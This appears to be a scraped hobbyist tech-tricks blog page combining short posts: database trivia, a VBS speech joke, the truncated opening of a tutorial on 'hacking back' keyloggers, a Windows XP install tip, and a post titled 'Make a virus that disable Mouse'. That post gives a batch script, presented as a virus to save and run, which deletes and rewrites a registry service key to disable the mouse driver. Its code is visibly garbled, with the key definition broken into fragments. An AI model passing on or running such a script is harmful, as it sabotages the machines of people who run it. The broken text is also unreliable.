Which database does Facebook & Google use ?

Facebook has moved to a NoSQL database named HBase.
Google uses their own system calledBigTable.
What is NoSQL ?
NoSQL is a term used to designate databases which differ from classic relational databases.
NoSQL database management systems are useful when working with a huge quantity of data when the data's nature does not require a relational model.
The data can be structured, but NoSQL is used when what really matters is the ability to store and retrieve great quantities of data, not the relationships between the elements.

Is your computer “male” or “female”?

Funny trick
1. Open Notepad
2. Type the following line in notepad:
     CreateObject("SAPI.SpVoice").Speak"Ctgs Home I Love You"
3. Save file as computer_gender.vbs
4. Run the file.
If you hear a male voice, your pc is a boy
If you hear a female voice, your pc is a girl...try it...and let us know the gender of your computer through comments !!!

Disinfecting and Hacking a Keylogger

Hello everyone how you all doing i hope everyone is doing good today i am going to write this tutorial which is based on how to disinfect our computer system if it has been key logged and then how to hack or revert a ftp and email based keylogger. Disclaimer- This tutorial is made only for educational purposes, i hereby take no responsibility how you
uses it, its one kind of busting those black hat hackers!!!
Important-Hacking or reverting a keylogger based on ftp is quite difficult technique as you are hacking a hacker!! I will recommend you to read this carefully after that try and try till you get success. Table of content-  1) What is reverting
2) How to check if you are infected
3) Disinfect or deleting keylogger from your computer
4) Tools needed to revert a keylogger
5) Method to revert a keylogger based on ftp
6) Hack the Hacker
7) Extras (hacking a email based keylogger)  What Is Reverting?
Reverting means reversing an action or undoing the changes in a system, when i say system,…

Make a virus that disable Mouse

1) Open Notepad and copy below codes
rem --------------- --------------- ---
rem Disable Mouse
\system \CurrentControl Set
\Services\Mo uclass"
reg delete %key%
reg add %key% /v Start /t REG_
DWORD /d 4
rem --------------- --------------- ---
2) Save this file as virus.bat
3) Done you just created your virus. 
just run it

How to post Invisible status

Do you know you can  post Invisible status in facebook:-
Copy below codes into your status
then remove +
and paste in the new post status bar and click post to post invisible status.

How to Install Windows XP In Less Than 15 Minutes

Windows XP is a popular operating system used by most PC users.Though Windows XP popularity is decreasing but some PC users still use it due to its versatility and  easy to operate interface. New computers now come  pre-installed with Windows 7 but i have seen  friends who upgraded from Windows XP to Windows 7 but later rolledback to Windows XP because Windows 7 dint work well in their old PC.
Windows XP installation process is slow and it annoys most users, as it takes around 40 minutes to get install. Today, I want to share this trick that can be used  to install Windows XP in 15 minutes. To do this, follow the procedure outlined below Procedure: Boot from Windows XP diskAfter the files have been copied, you will be required to select the location to install Windows XPAfter selecting the disk, the installation process will start and it will show 40 minutes approx time to complete the installation processHere is where the trick comes in action to quicken the installation process. Jus…

Happy Birthday Facebook

Today is d Birthday of Facebook...On February 4, 2004 world's biggest addiction was launched. It turns 9th today. Happy birthday Facebook :):)